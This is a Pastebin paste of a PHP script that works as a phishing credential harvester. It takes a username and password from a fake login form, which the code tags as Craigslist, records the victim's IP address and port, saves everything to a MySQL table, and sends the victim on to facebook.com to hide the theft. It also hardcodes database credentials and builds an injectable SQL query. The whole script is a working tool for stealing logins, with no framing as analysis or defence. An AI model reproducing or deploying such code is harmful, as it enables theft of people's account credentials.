Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $servername = "localhost";
- $username = "id3100816_lisa85rg";
- $password = "Pass1234555";
- $dbname = "id3100816_lisa85rg";
- // Create connection
- $conn = new mysqli($servername, $username, $password, $dbname);
- // Check connection
- if ($conn->connect_error) {
- die("Connection failed: " . $conn->connect_error);
- }
- // get takes login credentials prom login page
- $user = $_GET['user']; $pass = $_GET['pass'];
- // date for db
- $dat = date("d/m/Y");
- $hour = date("h:i:sa");
- //take ip and port
- function getRealIpAddr()
- {
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
- {
- $ip=$_SERVER['HTTP_CLIENT_IP'];
- }
- elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check ip is pass from proxy
- {
- $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
- }
- else
- {
- $ip=$_SERVER['REMOTE_ADDR'];
- }
- return $ip;
- }
- $aipi=getRealIpAddr();
- $prt=$_SERVER['REMOTE_PORT'];
- $xfromx='CraigList';
- // insert into dB
- $sql = "INSERT INTO logintbl (hour, data, user, pass, ip, port, xfromx)
- VALUES ('$hour', '$dat', '$user', '$pass', '$aipi', '$prt', '$xfromx')";
- if ($conn->query($sql) === TRUE) {
- header('Location: http://www.facebook.com/');
- //echo "<script> window.location.assign('http://www.google.com/'); </script>";
- } else {
- echo "Error: " . $sql . "<br>" . $conn->error;
- }
- $conn->close();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement